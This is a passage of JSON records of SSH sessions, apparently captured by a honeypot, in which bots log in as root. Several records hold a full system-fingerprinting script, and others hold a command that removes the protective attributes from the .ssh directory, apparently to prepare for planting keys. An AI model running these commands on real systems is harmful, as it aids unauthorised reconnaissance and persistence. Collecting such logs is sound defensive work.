  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "92.118.39.50",
  "src_port": 46382,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-26T15:12:43.164467+00:00",
  "ended_at": "2026-08-26T15:12:43.284014+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "b7e8f21d-e68e-4ba7-a684-1d1ce330c1a2",
  "name": "thawing-fleeting-egret",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 52494,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 300,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T15:11:24.442968+00:00",
  "ended_at": "2026-08-26T15:11:26.716417+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "8a19b655-7d8b-4913-9ce0-f0eea4c236dc",
  "name": "velvet-spirited-camel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40817,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 754,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T15:11:09.396540+00:00",
  "ended_at": "2026-08-26T15:11:11.023513+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "35a976a5-6df3-4c9d-8f1f-3bfa3d918b84",
  "name": "somber-early-roebuck",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 52504,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:10:57.018498+00:00",
  "ended_at": "2026-08-26T15:10:58.963119+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "cb0692cb-adfd-496e-b30e-83894b4ee50f",
  "name": "knotted-merry-woodcock",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "92.118.39.50",
  "src_port": 43420,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-26T15:10:55.636672+00:00",
  "ended_at": "2026-08-26T15:10:55.740348+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "1ffd768a-b55e-4dfb-83b4-470686ac6076",
  "name": "primal-sullen-chough",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40819,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:10:45.827340+00:00",
  "ended_at": "2026-08-26T15:10:47.798337+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "763b57e9-8f95-4812-bd7c-30dc6f0505fb",
  "name": "downy-solar-redstart",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "92.118.39.50",
  "src_port": 40436,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-26T15:09:06.861734+00:00",
  "ended_at": "2026-08-26T15:09:06.968408+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "42614bb6-1bb8-4198-9f28-c73d3fe17766",
  "name": "craggy-upland-caribou",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "92.118.39.50",
  "src_port": 37428,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-26T15:07:09.334806+00:00",
  "ended_at": "2026-08-26T15:07:09.463495+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "f3540827-ea8f-4166-b7dd-981ca9759f2d",
  "name": "coral-thrifty-penguin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "92.118.39.50",
  "src_port": 34390,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-26T15:05:12.546057+00:00",
  "ended_at": "2026-08-26T15:05:12.701045+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "0d61be63-1a1c-4452-9b14-fc7706e888d9",
  "name": "thorny-sincere-gull",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40811,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 784,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T15:05:04.993523+00:00",
  "ended_at": "2026-08-26T15:05:06.290459+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "063f6da1-5205-41aa-9503-ab50dff3aa55",
  "name": "mottled-kindly-cicada",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40813,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:04:41.934516+00:00",
  "ended_at": "2026-08-26T15:04:43.652067+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9a9314ef-938f-4455-a66f-2e10dba5a5a7",
  "name": "candid-feathered-vole",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 53630,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 292,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T15:03:37.292615+00:00",
  "ended_at": "2026-08-26T15:03:38.797555+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "04d5f5ce-07e5-4c0a-9ecc-50e39f5f7d51",
  "name": "keen-scarlet-walrus",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 53636,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:03:20.832150+00:00",
  "ended_at": "2026-08-26T15:03:22.424566+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4ff04a8c-a105-4708-a5b5-35ceb1798774",
  "name": "sullen-kindly-hedgehog",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "92.118.39.50",
  "src_port": 59566,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E 